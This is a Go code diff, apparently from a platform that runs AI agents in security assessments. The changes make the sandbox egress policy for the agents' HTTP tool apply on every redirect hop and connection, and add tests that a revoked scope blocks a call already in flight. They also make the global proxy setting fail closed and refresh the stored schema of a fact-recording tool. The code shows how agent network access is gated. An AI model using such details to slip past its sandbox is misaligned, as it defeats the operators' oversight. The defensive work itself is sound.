usage() { sed -n '2,16p' "$0" | sed -E 's/^# ?//'; }
|
||||||
|
|
||||||
KEEP=14
|
KEEP=14
|
||||||
OUTPUT_DIR="backups"
|
OUTPUT_DIR="backups"
|
||||||
|
|||||||
+30
-8
@@ -729,8 +729,15 @@ func (s *Server) runHTTPTool(ctx context.Context, key string, execRaw json.RawMe
|
|||||||
// and to every connection (see sandboxHTTPTransport); a refusal is final,
|
// and to every connection (see sandboxHTTPTransport); a refusal is final,
|
||||||
// there is no direct fallback.
|
// there is no direct fallback.
|
||||||
var sbPolicy *sandbox.EgressPolicy
|
var sbPolicy *sandbox.EgressPolicy
|
||||||
|
var policyFn func(context.Context) *sandbox.EgressPolicy
|
||||||
if agent.SandboxRequired() {
|
if agent.SandboxRequired() {
|
||||||
sbPolicy = agent.SandboxEgressPolicy(ctx)
|
policyFn = func(callCtx context.Context) *sandbox.EgressPolicy {
|
||||||
|
if _, ok := agent.SandboxRunInfoFromContext(callCtx); ok {
|
||||||
|
return agent.SandboxEgressPolicy(callCtx)
|
||||||
|
}
|
||||||
|
return agent.SandboxEgressPolicy(ctx)
|
||||||
|
}
|
||||||
|
sbPolicy = policyFn(ctx)
|
||||||
if err := sbPolicy.CheckURL(ctx, rawURL); err != nil {
|
if err := sbPolicy.CheckURL(ctx, rawURL); err != nil {
|
||||||
return actool.Errorf("sandbox http tool blocked: " + err.Error()), nil
|
return actool.Errorf("sandbox http tool blocked: " + err.Error()), nil
|
||||||
}
|
}
|
||||||
@@ -778,7 +785,7 @@ func (s *Server) runHTTPTool(ctx context.Context, key string, execRaw json.RawMe
|
|||||||
client.CheckRedirect = assessmentRedirectCheck(client.CheckRedirect)
|
client.CheckRedirect = assessmentRedirectCheck(client.CheckRedirect)
|
||||||
}
|
}
|
||||||
if sbPolicy != nil {
|
if sbPolicy != nil {
|
||||||
client.CheckRedirect = sandboxRedirectCheck(sbPolicy, client.CheckRedirect)
|
client.CheckRedirect = sandboxRedirectCheck(policyFn, client.CheckRedirect)
|
||||||
}
|
}
|
||||||
if secretOrigin != "" {
|
if secretOrigin != "" {
|
||||||
client.CheckRedirect = secretOriginRedirectCheck(secretOrigin, client.CheckRedirect)
|
client.CheckRedirect = secretOriginRedirectCheck(secretOrigin, client.CheckRedirect)
|
||||||
@@ -789,7 +796,7 @@ func (s *Server) runHTTPTool(ctx context.Context, key string, execRaw json.RawMe
|
|||||||
var base http.RoundTripper = http.DefaultTransport
|
var base http.RoundTripper = http.DefaultTransport
|
||||||
tr := s.httpToolTransport(ctx, key, spec)
|
tr := s.httpToolTransport(ctx, key, spec)
|
||||||
if sbPolicy != nil {
|
if sbPolicy != nil {
|
||||||
tr = sandboxHTTPTransport(tr, sbPolicy)
|
tr = sandboxHTTPTransport(tr, policyFn)
|
||||||
}
|
}
|
||||||
if tr != nil {
|
if tr != nil {
|
||||||
base = tr
|
base = tr
|
||||||
@@ -930,9 +937,15 @@ func assessmentRedirectCheck(check func(*http.Request, []*http.Request) error) f
|
|||||||
|
|
||||||
// sandboxRedirectCheck refuses a redirect hop to a URL the task's egress policy
|
// sandboxRedirectCheck refuses a redirect hop to a URL the task's egress policy
|
||||||
// does not allow, before check runs: the call fails instead of following it.
|
// does not allow, before check runs: the call fails instead of following it.
|
||||||
func sandboxRedirectCheck(policy *sandbox.EgressPolicy, check func(*http.Request, []*http.Request) error) func(*http.Request, []*http.Request) error {
|
// The policy is resolved on every hop, so an approval or a revocation that lands
|
||||||
|
// while the call is in flight applies to the redirect it governs.
|
||||||
|
func sandboxRedirectCheck(policy func(context.Context) *sandbox.EgressPolicy, check func(*http.Request, []*http.Request) error) func(*http.Request, []*http.Request) error {
|
||||||
return func(req *http.Request, via []*http.Request) error {
|
return func(req *http.Request, via []*http.Request) error {
|
||||||
if err := policy.CheckURL(req.Context(), req.URL.String()); err != nil {
|
pol := policy(req.Context())
|
||||||
|
if pol == nil {
|
||||||
|
return errors.New("sandbox http tool blocked redirect: missing task egress policy")
|
||||||
|
}
|
||||||
|
if err := pol.CheckURL(req.Context(), req.URL.String()); err != nil {
|
||||||
return fmt.Errorf("sandbox http tool blocked redirect: %w", err)
|
return fmt.Errorf("sandbox http tool blocked redirect: %w", err)
|
||||||
}
|
}
|
||||||
return check(req, via)
|
return check(req, via)
|
||||||
@@ -945,8 +958,10 @@ func sandboxRedirectCheck(policy *sandbox.EgressPolicy, check func(*http.Request
|
|||||||
// with a proxy, the proxy is the connection checked; a direct call drops the
|
// with a proxy, the proxy is the connection checked; a direct call drops the
|
||||||
// environment proxy so the dialer sees the target, and keeps the pinned dialer
|
// environment proxy so the dialer sees the target, and keeps the pinned dialer
|
||||||
// of a gated scope underneath. Keep-alive is off on every one of them, proxy or
|
// of a gated scope underneath. Keep-alive is off on every one of them, proxy or
|
||||||
// not: no connection outlives the call it was checked for.
|
// not: no connection outlives the call it was checked for. The policy is
|
||||||
func sandboxHTTPTransport(tr *http.Transport, policy *sandbox.EgressPolicy) *http.Transport {
|
// resolved on every dial, like the redirect check, so a scope change while the
|
||||||
|
// call is in flight is enforced on the next connection.
|
||||||
|
func sandboxHTTPTransport(tr *http.Transport, policy func(context.Context) *sandbox.EgressPolicy) *http.Transport {
|
||||||
if tr == nil {
|
if tr == nil {
|
||||||
base, ok := http.DefaultTransport.(*http.Transport)
|
base, ok := http.DefaultTransport.(*http.Transport)
|
||||||
if !ok {
|
if !ok {
|
||||||
@@ -956,7 +971,14 @@ func sandboxHTTPTransport(tr *http.Transport, policy *sandbox.EgressPolicy) *htt
|
|||||||
tr.Proxy = nil
|
tr.Proxy = nil
|
||||||
}
|
}
|
||||||
tr.DisableKeepAlives = true
|
tr.DisableKeepAlives = true
|
||||||
tr.DialContext = agent.SandboxScopeDialContext("http tool", policy, tr.DialContext)
|
baseDial := tr.DialContext
|
||||||
|
tr.DialContext = func(ctx context.Context, network, addr string) (net.Conn, error) {
|
||||||
|
pol := policy(ctx)
|
||||||
|
if pol == nil {
|
||||||
|
return nil, errors.New("sandbox http tool blocked: missing task egress policy")
|
||||||
|
}
|
||||||
|
return agent.SandboxScopeDialContext("http tool", pol, baseDial)(ctx, network, addr)
|
||||||
|
}
|
||||||
return tr
|
return tr
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -92,7 +92,7 @@ func TestSandboxHTTPTransportKeepAlivesOff(t *testing.T) {
|
|||||||
{"operator proxy, gate on", gateOn, httpExec{URL: direct, Proxy: "127.0.0.1:8080"}},
|
{"operator proxy, gate on", gateOn, httpExec{URL: direct, Proxy: "127.0.0.1:8080"}},
|
||||||
{"recording proxy via the global proxy", context.Background(), httpExec{URL: direct, UseRecordingProxy: true}},
|
{"recording proxy via the global proxy", context.Background(), httpExec{URL: direct, UseRecordingProxy: true}},
|
||||||
} {
|
} {
|
||||||
tr := sandboxHTTPTransport(s.httpToolTransport(c.ctx, "probe", c.spec), policy)
|
tr := sandboxHTTPTransport(s.httpToolTransport(c.ctx, "probe", c.spec), func(context.Context) *sandbox.EgressPolicy { return policy })
|
||||||
if tr == nil || tr.DialContext == nil {
|
if tr == nil || tr.DialContext == nil {
|
||||||
t.Fatalf("%s: transport %+v, want one with the sandbox dialer", c.name, tr)
|
t.Fatalf("%s: transport %+v, want one with the sandbox dialer", c.name, tr)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,55 @@
|
|||||||
|
package server
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"errors"
|
||||||
|
"net"
|
||||||
|
"net/http"
|
||||||
|
"net/http/httptest"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/Autumn-27/artex/sandbox"
|
||||||
|
)
|
||||||
|
|
||||||
|
// A scope approval or revocation that lands while an http tool call is in
|
||||||
|
// flight must apply to the redirect hop and to the next connection, not only to
|
||||||
|
// the next call: the policy is resolved on every hop and every dial.
|
||||||
|
func TestSandboxCustomToolResolvesScopePerHopAndDial(t *testing.T) {
|
||||||
|
allowed, err := sandbox.NewEgressPolicy("tool", nil, []string{"127.0.0.1/32"}, nil)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
revoked, err := sandbox.NewEgressPolicy("tool", nil, nil, nil)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
current := allowed
|
||||||
|
resolve := func(context.Context) *sandbox.EgressPolicy { return current }
|
||||||
|
|
||||||
|
hop := func(url string) error {
|
||||||
|
check := sandboxRedirectCheck(resolve, func(*http.Request, []*http.Request) error { return nil })
|
||||||
|
return check(httptest.NewRequest(http.MethodGet, url, nil), nil)
|
||||||
|
}
|
||||||
|
if err := hop("http://127.0.0.1/next"); err != nil {
|
||||||
|
t.Fatalf("allowed redirect refused: %v", err)
|
||||||
|
}
|
||||||
|
current = revoked
|
||||||
|
if err := hop("http://127.0.0.1/secret"); err == nil || !strings.Contains(err.Error(), "egress denied") {
|
||||||
|
t.Fatalf("redirect after revocation = %v, want egress denied", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Every connection re-resolves too: the next dial sees the revocation.
|
||||||
|
baseDialed := false
|
||||||
|
tr := sandboxHTTPTransport(&http.Transport{DialContext: func(context.Context, string, string) (net.Conn, error) {
|
||||||
|
baseDialed = true
|
||||||
|
return nil, errors.New("base dial reached")
|
||||||
|
}}, resolve)
|
||||||
|
_, err = tr.DialContext(context.Background(), "tcp", "127.0.0.1:80")
|
||||||
|
if err == nil || !strings.Contains(err.Error(), "egress denied") {
|
||||||
|
t.Fatalf("dial after revocation = %v, want egress denied", err)
|
||||||
|
}
|
||||||
|
if baseDialed {
|
||||||
|
t.Fatal("a revoked target reached the base dialer")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -561,8 +561,10 @@ func TestDenyRuleWinsBeforeRenderedTarget(t *testing.T) {
|
|||||||
if code, body := g.do(t, "POST", fmt.Sprintf("/api/intercept/pending/%d/decide", id), `{"decision":"denied"}`); code != 200 {
|
if code, body := g.do(t, "POST", fmt.Sprintf("/api/intercept/pending/%d/decide", id), `{"decision":"denied"}`); code != 200 {
|
||||||
t.Fatalf("deny: %d %v", code, body)
|
t.Fatalf("deny: %d %v", code, body)
|
||||||
}
|
}
|
||||||
if r := p.next(t); !strings.Contains(r, "TARGET_DENIED") || hits.Load() != 0 || res.lookups() == 0 {
|
// The rendered name is approved by nothing: it is requested by name and
|
||||||
t.Fatalf("rendered target: %q, %d requests sent, %d lookups", r, hits.Load(), res.lookups())
|
// denied without ever being looked up.
|
||||||
|
if r := p.next(t); !strings.Contains(r, "TARGET_DENIED") || hits.Load() != 0 || res.lookups() != 0 {
|
||||||
|
t.Fatalf("rendered target: %q, %d requests sent, %d lookups; want no lookup", r, hits.Load(), res.lookups())
|
||||||
}
|
}
|
||||||
select {
|
select {
|
||||||
case <-done:
|
case <-done:
|
||||||
|
|||||||
+8
-1
@@ -217,7 +217,14 @@ func (e *Engine) withTaskSandbox(ctx context.Context, taskID string) context.Con
|
|||||||
if e.m != nil {
|
if e.m != nil {
|
||||||
pg = e.m.pg
|
pg = e.m.pg
|
||||||
}
|
}
|
||||||
return agent.WithSandboxRunInfo(ctx, taskSandboxRunInfo(pg, e.sandboxDataDir, taskID))
|
info := taskSandboxRunInfo(pg, e.sandboxDataDir, taskID)
|
||||||
|
if pg != nil {
|
||||||
|
info.ResolveScope = func() ([]string, []string) {
|
||||||
|
fresh := taskSandboxRunInfo(pg, e.sandboxDataDir, taskID)
|
||||||
|
return fresh.ScopeDomains, fresh.ScopeCIDRs
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return agent.WithSandboxRunInfo(ctx, info)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Pause stops a task: marks it paused AND cancels any in-flight planner/worker run
|
// Pause stops a task: marks it paused AND cancels any in-flight planner/worker run
|
||||||
|
|||||||
@@ -45,7 +45,7 @@ func TestFix410ReleasedDefaultsRefreshed(t *testing.T) {
|
|||||||
}
|
}
|
||||||
defer m.Close()
|
defer m.Close()
|
||||||
s := &Server{m: m}
|
s := &Server{m: m}
|
||||||
const flag = "tool_schema_refresh_record_fact_facts_only"
|
const flag = "tool_schema_refresh_record_fact_evidence_lines"
|
||||||
seed := recordFactSeed(t)
|
seed := recordFactSeed(t)
|
||||||
seedSchema, _ := json.Marshal(seed.Schema)
|
seedSchema, _ := json.Marshal(seed.Schema)
|
||||||
seedAgents, _ := json.Marshal(seed.Agents)
|
seedAgents, _ := json.Marshal(seed.Agents)
|
||||||
|
|||||||
@@ -12,7 +12,9 @@ import (
|
|||||||
// descriptions, bindings, enabled/deferred flags and parameter annotations.
|
// descriptions, bindings, enabled/deferred flags and parameter annotations.
|
||||||
|
|
||||||
// refreshRecordFactContract brings an already-seeded record_fact row to the
|
// refreshRecordFactContract brings an already-seeded record_fact row to the
|
||||||
// facts-only contract (one-time, settings flag). SeedTool is first-insert-only
|
// current texts (one-time per flag value: the flag was renamed when evidence
|
||||||
|
// became output lines only, so a database refreshed for the facts-only
|
||||||
|
// contract is refreshed once more). SeedTool is first-insert-only
|
||||||
// and ToolResolve serves the stored text, so without this an old database keeps
|
// and ToolResolve serves the stored text, so without this an old database keeps
|
||||||
// describing the earlier contract (fact fields at the top level beside facts[])
|
// describing the earlier contract (fact fields at the top level beside facts[])
|
||||||
// to the model. Only text equal to the previous code default is replaced:
|
// to the model. Only text equal to the previous code default is replaced:
|
||||||
@@ -27,7 +29,7 @@ import (
|
|||||||
// (also when it changed no row) or the row is not the built-in one. A failed
|
// (also when it changed no row) or the row is not the built-in one. A failed
|
||||||
// read, decode or UPDATE leaves it unset, so the next start retries.
|
// read, decode or UPDATE leaves it unset, so the next start retries.
|
||||||
func (s *Server) refreshRecordFactContract() {
|
func (s *Server) refreshRecordFactContract() {
|
||||||
const flag = "tool_schema_refresh_record_fact_facts_only"
|
const flag = "tool_schema_refresh_record_fact_evidence_lines"
|
||||||
if v, _, _ := s.m.pg.GetSetting(flag); v == "true" {
|
if v, _, _ := s.m.pg.GetSetting(flag); v == "true" {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -91,7 +93,7 @@ WHERE key='record_fact' AND system AND kind='builtin'
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
done()
|
done()
|
||||||
log.Printf("[facts] record_fact now publishes the facts-only contract (one-time)")
|
log.Printf("[facts] record_fact now publishes the current contract texts (one-time)")
|
||||||
}
|
}
|
||||||
|
|
||||||
func sliceHas(list []string, s string) bool {
|
func sliceHas(list []string, s string) bool {
|
||||||
|
|||||||
@@ -165,7 +165,7 @@ func TestRefreshRecordFactContract(t *testing.T) {
|
|||||||
seedAgents, _ := json.Marshal(seed.Agents)
|
seedAgents, _ := json.Marshal(seed.Agents)
|
||||||
restore := func() {
|
restore := func() {
|
||||||
_ = m.pg.UpsertToolForce("record_fact", seed.Desc, seedSchema, seedAgents)
|
_ = m.pg.UpsertToolForce("record_fact", seed.Desc, seedSchema, seedAgents)
|
||||||
_, _ = m.pg.Exec(`DELETE FROM settings WHERE key='tool_schema_refresh_record_fact_facts_only'`)
|
_, _ = m.pg.Exec(`DELETE FROM settings WHERE key='tool_schema_refresh_record_fact_evidence_lines'`)
|
||||||
}
|
}
|
||||||
defer restore()
|
defer restore()
|
||||||
|
|
||||||
@@ -176,7 +176,7 @@ func TestRefreshRecordFactContract(t *testing.T) {
|
|||||||
if err := m.pg.UpsertToolForce("record_fact", desc, json.RawMessage(legacySchema), seedAgents); err != nil {
|
if err := m.pg.UpsertToolForce("record_fact", desc, json.RawMessage(legacySchema), seedAgents); err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
if _, err := m.pg.Exec(`DELETE FROM settings WHERE key='tool_schema_refresh_record_fact_facts_only'`); err != nil {
|
if _, err := m.pg.Exec(`DELETE FROM settings WHERE key='tool_schema_refresh_record_fact_evidence_lines'`); err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
s.seedFactInputSchema()
|
s.seedFactInputSchema()
|
||||||
@@ -217,7 +217,7 @@ func TestRefreshRecordFactContract(t *testing.T) {
|
|||||||
if enum, _ := items["source"].(map[string]any)["enum"].([]any); len(enum) != 5 {
|
if enum, _ := items["source"].(map[string]any)["enum"].([]any); len(enum) != 5 {
|
||||||
t.Fatalf("source enum missing on the items: %v", items["source"])
|
t.Fatalf("source enum missing on the items: %v", items["source"])
|
||||||
}
|
}
|
||||||
if v, _, _ := m.pg.GetSetting("tool_schema_refresh_record_fact_facts_only"); v != "true" {
|
if v, _, _ := m.pg.GetSetting("tool_schema_refresh_record_fact_evidence_lines"); v != "true" {
|
||||||
t.Fatal("flag not set")
|
t.Fatal("flag not set")
|
||||||
}
|
}
|
||||||
// Second start: nothing changes.
|
// Second start: nothing changes.
|
||||||
@@ -252,7 +252,7 @@ func TestFix410RefreshFlagNotSetOnFailure(t *testing.T) {
|
|||||||
}
|
}
|
||||||
defer m.Close()
|
defer m.Close()
|
||||||
s := &Server{m: m}
|
s := &Server{m: m}
|
||||||
const flag = "tool_schema_refresh_record_fact_facts_only"
|
const flag = "tool_schema_refresh_record_fact_evidence_lines"
|
||||||
seed := recordFactSeed(t)
|
seed := recordFactSeed(t)
|
||||||
seedSchema, _ := json.Marshal(seed.Schema)
|
seedSchema, _ := json.Marshal(seed.Schema)
|
||||||
seedAgents, _ := json.Marshal(seed.Agents)
|
seedAgents, _ := json.Marshal(seed.Agents)
|
||||||
|
|||||||
@@ -0,0 +1,99 @@
|
|||||||
|
package server
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/sha256"
|
||||||
|
"encoding/hex"
|
||||||
|
"encoding/json"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/Autumn-27/artex/agent"
|
||||||
|
)
|
||||||
|
|
||||||
|
// The facts-only record_fact texts seeded by v0.7.0 and v0.7.1 asked for the
|
||||||
|
// command in evidence. The agent package's list of known defaults must hold
|
||||||
|
// their released bytes (checked by size and sha256 here, apart from that
|
||||||
|
// list), and a database that stores one of them with the v0.7 evidence item
|
||||||
|
// text is refreshed once to the current texts, even when it already ran the
|
||||||
|
// facts-only refresh.
|
||||||
|
func TestRecordFactV07DefaultsRefreshed(t *testing.T) {
|
||||||
|
released := map[string]struct {
|
||||||
|
sum string
|
||||||
|
size int
|
||||||
|
}{
|
||||||
|
"v0.7.0": {"dc16f3e014625f6336944028bf2caeb5b6f1feab80a70cb43a8f2c87397b9469", 2909},
|
||||||
|
"v0.7.1": {"ef8bfd930e5b5d3bb425a87ef914045465b313d4f1d96f39e20fd44ba9e5d839", 3181},
|
||||||
|
}
|
||||||
|
legacyTool, _, legacyItems := agent.RecordFactLegacyDescriptions()
|
||||||
|
found := map[string]string{}
|
||||||
|
for _, d := range legacyTool {
|
||||||
|
sum := sha256.Sum256([]byte(d))
|
||||||
|
for rel, want := range released {
|
||||||
|
if len(d) == want.size && hex.EncodeToString(sum[:]) == want.sum {
|
||||||
|
found[rel] = d
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for rel := range released {
|
||||||
|
if found[rel] == "" {
|
||||||
|
t.Fatalf("the known record_fact defaults miss the description released in %s", rel)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
oldEvidence := legacyItems["evidence"]
|
||||||
|
if sum := sha256.Sum256([]byte(oldEvidence)); len(oldEvidence) != 101 || hex.EncodeToString(sum[:]) != "848fdbd2c770726c8346b8c65c717eeda720a72bfb5707aa792bec1014633eb7" {
|
||||||
|
t.Fatalf("the known evidence item text is not the v0.7 text: %q", oldEvidence)
|
||||||
|
}
|
||||||
|
|
||||||
|
skipWithoutDSN(t)
|
||||||
|
m, err := NewManager(t.TempDir(), "")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer m.Close()
|
||||||
|
s := &Server{m: m}
|
||||||
|
const flag = "tool_schema_refresh_record_fact_evidence_lines"
|
||||||
|
seed := recordFactSeed(t)
|
||||||
|
seedSchema, _ := json.Marshal(seed.Schema)
|
||||||
|
seedAgents, _ := json.Marshal(seed.Agents)
|
||||||
|
defer func() {
|
||||||
|
_ = m.pg.UpsertToolForce("record_fact", seed.Desc, seedSchema, seedAgents)
|
||||||
|
_, _ = m.pg.Exec(`DELETE FROM settings WHERE key=$1 OR key='tool_schema_refresh_record_fact_facts_only'`, flag)
|
||||||
|
}()
|
||||||
|
evidenceOf := func(schema map[string]any) map[string]any {
|
||||||
|
return schema["properties"].(map[string]any)["facts"].(map[string]any)["items"].(map[string]any)["properties"].(map[string]any)["evidence"].(map[string]any)
|
||||||
|
}
|
||||||
|
for rel, desc := range found {
|
||||||
|
var stored map[string]any
|
||||||
|
_ = json.Unmarshal(seedSchema, &stored)
|
||||||
|
evidenceOf(stored)["description"] = oldEvidence
|
||||||
|
raw, _ := json.Marshal(stored)
|
||||||
|
if err := m.pg.UpsertToolForce("record_fact", desc, raw, seedAgents); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if _, err := m.pg.Exec(`DELETE FROM settings WHERE key=$1`, flag); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := m.pg.SetSetting("tool_schema_refresh_record_fact_facts_only", "true"); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
s.seedFactInputSchema()
|
||||||
|
s.seedFactSourceSchema()
|
||||||
|
s.refreshRecordFactContract()
|
||||||
|
row, err := m.pg.GetTool("record_fact")
|
||||||
|
if err != nil || row == nil {
|
||||||
|
t.Fatalf("%s: row: %v", rel, err)
|
||||||
|
}
|
||||||
|
if row.Description != seed.Desc {
|
||||||
|
t.Errorf("%s description not replaced by the current one: %.80q", rel, row.Description)
|
||||||
|
}
|
||||||
|
var after map[string]any
|
||||||
|
if err := json.Unmarshal(row.Schema, &after); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if got, want := evidenceOf(after)["description"], evidenceOf(seed.Schema)["description"]; got != want {
|
||||||
|
t.Errorf("%s evidence item description = %v, want %v", rel, got, want)
|
||||||
|
}
|
||||||
|
if v, _, _ := m.pg.GetSetting(flag); v != "true" {
|
||||||
|
t.Errorf("%s: flag = %q after the refresh, want true", rel, v)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -37,10 +37,16 @@ func (s *Server) retestSandboxContext(ctx context.Context, r *db.FindingRetest)
|
|||||||
}
|
}
|
||||||
var info agent.SandboxRunInfo
|
var info agent.SandboxRunInfo
|
||||||
if f.TaskID != nil {
|
if f.TaskID != nil {
|
||||||
info, err = taskSandboxRunInfoChecked(s.m.pg, s.m.dir, strconv.FormatInt(*f.TaskID, 10))
|
srcTaskID := strconv.FormatInt(*f.TaskID, 10)
|
||||||
|
info, err = taskSandboxRunInfoChecked(s.m.pg, s.m.dir, srcTaskID)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return ctx, cleanup, fmt.Errorf("load retest egress scope: %w", err)
|
return ctx, cleanup, fmt.Errorf("load retest egress scope: %w", err)
|
||||||
}
|
}
|
||||||
|
pg, dir := s.m.pg, s.m.dir
|
||||||
|
info.ResolveScope = func() ([]string, []string) {
|
||||||
|
fresh := taskSandboxRunInfo(pg, dir, srcTaskID)
|
||||||
|
return fresh.ScopeDomains, fresh.ScopeCIDRs
|
||||||
|
}
|
||||||
}
|
}
|
||||||
info.TaskID = "retest-" + strconv.FormatInt(*r.ConversationID, 10)
|
info.TaskID = "retest-" + strconv.FormatInt(*r.ConversationID, 10)
|
||||||
info.TaskDir = filepath.Join(s.m.dir, "tasks", info.TaskID)
|
info.TaskDir = filepath.Join(s.m.dir, "tasks", info.TaskID)
|
||||||
|
|||||||
+38
-13
@@ -493,6 +493,12 @@ func NewManager(dir, proxyAddr string) (*Manager, error) {
|
|||||||
dir: dir, pg: pg, assets: pg.Assets(), tasks: map[string]*Task{}, interceptor: intercept.New(pg),
|
dir: dir, pg: pg, assets: pg.Assets(), tasks: map[string]*Task{}, interceptor: intercept.New(pg),
|
||||||
taskUserAgents: cfg.TaskUserAgents,
|
taskUserAgents: cfg.TaskUserAgents,
|
||||||
}
|
}
|
||||||
|
// Load the global egress proxy before starting listeners so a read error
|
||||||
|
// fails closed instead of silently serving direct egress.
|
||||||
|
if err := m.loadGlobalProxy(pg); err != nil {
|
||||||
|
_ = pg.Close()
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
// Behind any proxy in the path (the recording proxy, the global egress proxy,
|
// Behind any proxy in the path (the recording proxy, the global egress proxy,
|
||||||
// or a custom tool's own proxy) the proxy chooses the address, so a target
|
// or a custom tool's own proxy) the proxy chooses the address, so a target
|
||||||
// approval is name-only.
|
// approval is name-only.
|
||||||
@@ -527,6 +533,11 @@ func NewManager(dir, proxyAddr string) (*Manager, error) {
|
|||||||
m.traffic = tr
|
m.traffic = tr
|
||||||
m.reloadRewriteRules() // in place before the proxy accepts a connection
|
m.reloadRewriteRules() // in place before the proxy accepts a connection
|
||||||
m.reloadTamperHooks() // opt-in behind ARTEX_TAMPER_HOOKS_ENABLED=1
|
m.reloadTamperHooks() // opt-in behind ARTEX_TAMPER_HOOKS_ENABLED=1
|
||||||
|
if err := m.traffic.SetUpstreamProxy(m.globalProxy); err != nil {
|
||||||
|
// Neither the stored value nor err (which quotes it) is logged: both
|
||||||
|
// can carry the proxy credentials.
|
||||||
|
log.Printf("[proxy] global proxy %q invalid, ignored; set it again in Settings (shown without credentials, empty when it cannot be parsed)", proxyWithoutCredentials(m.globalProxy))
|
||||||
|
}
|
||||||
if scfg, ok := traffic.SOCKS5ConfigFromEnv(); ok {
|
if scfg, ok := traffic.SOCKS5ConfigFromEnv(); ok {
|
||||||
scfg.DialContext = m.interceptor.DialSOCKS5
|
scfg.DialContext = m.interceptor.DialSOCKS5
|
||||||
scfg.ResolveUDP4 = m.interceptor.ResolveUDP4
|
scfg.ResolveUDP4 = m.interceptor.ResolveUDP4
|
||||||
@@ -578,19 +589,6 @@ func NewManager(dir, proxyAddr string) (*Manager, error) {
|
|||||||
if v, ok, _ := pg.GetSetting(settingWebSearchProxy); ok {
|
if v, ok, _ := pg.GetSetting(settingWebSearchProxy); ok {
|
||||||
m.webSearchProxy = v
|
m.webSearchProxy = v
|
||||||
}
|
}
|
||||||
// Global egress proxy (default: direct). When capture is on, feed it to the
|
|
||||||
// MITM as its upstream so recorded traffic exits through it; when capture is
|
|
||||||
// off, ProxyAddr hands it to agents directly (bash env / WebFetch).
|
|
||||||
if v, ok, _ := pg.GetSetting(settingGlobalProxy); ok {
|
|
||||||
m.globalProxy = strings.TrimSpace(v)
|
|
||||||
}
|
|
||||||
if m.traffic != nil {
|
|
||||||
if err := m.traffic.SetUpstreamProxy(m.globalProxy); err != nil {
|
|
||||||
// Neither the stored value nor err (which quotes it) is logged: both
|
|
||||||
// can carry the proxy credentials.
|
|
||||||
log.Printf("[proxy] global proxy %q invalid, ignored; set it again in Settings (shown without credentials, empty when it cannot be parsed)", proxyWithoutCredentials(m.globalProxy))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
m.enrich = enrich.New(m.assets, m.ProxyAddr, 4)
|
m.enrich = enrich.New(m.assets, m.ProxyAddr, 4)
|
||||||
// Panel-side asset probes are agent-triggered: while the sandbox is required,
|
// Panel-side asset probes are agent-triggered: while the sandbox is required,
|
||||||
// they leave through the task's sandbox egress policy, as WebFetch and custom
|
// they leave through the task's sandbox egress policy, as WebFetch and custom
|
||||||
@@ -986,6 +984,33 @@ func (m *Manager) ProxyCACert() string {
|
|||||||
return m.traffic.CACertPath()
|
return m.traffic.CACertPath()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// globalProxyReader is the slice of *db.DB needed to load global_proxy at
|
||||||
|
// manager startup, kept small so load failures are unit-testable without Postgres.
|
||||||
|
type globalProxyReader interface {
|
||||||
|
GetSetting(key string) (value string, ok bool, err error)
|
||||||
|
}
|
||||||
|
|
||||||
|
// loadGlobalProxy reads settingGlobalProxy from g and updates m.globalProxy.
|
||||||
|
// An absent setting clears m.globalProxy to direct egress; a read error leaves
|
||||||
|
// m.globalProxy untouched and fails closed so startup never falls back to direct.
|
||||||
|
func (m *Manager) loadGlobalProxy(g globalProxyReader) error {
|
||||||
|
if g == nil {
|
||||||
|
return fmt.Errorf("read %s: nil settings store", settingGlobalProxy)
|
||||||
|
}
|
||||||
|
v, ok, err := g.GetSetting(settingGlobalProxy)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("read %s: %w", settingGlobalProxy, err)
|
||||||
|
}
|
||||||
|
m.mu.Lock()
|
||||||
|
if ok {
|
||||||
|
m.globalProxy = strings.TrimSpace(v)
|
||||||
|
} else {
|
||||||
|
m.globalProxy = ""
|
||||||
|
}
|
||||||
|
m.mu.Unlock()
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
// GlobalProxy returns the configured global egress proxy URL (empty = direct).
|
// GlobalProxy returns the configured global egress proxy URL (empty = direct).
|
||||||
func (m *Manager) GlobalProxy() string {
|
func (m *Manager) GlobalProxy() string {
|
||||||
m.mu.RLock()
|
m.mu.RLock()
|
||||||
|
|||||||
@@ -0,0 +1,83 @@
|
|||||||
|
package server
|
||||||
|
|
||||||
|
import (
|
||||||
|
"errors"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
type fakeGlobalProxyReader struct {
|
||||||
|
val string
|
||||||
|
ok bool
|
||||||
|
err error
|
||||||
|
}
|
||||||
|
|
||||||
|
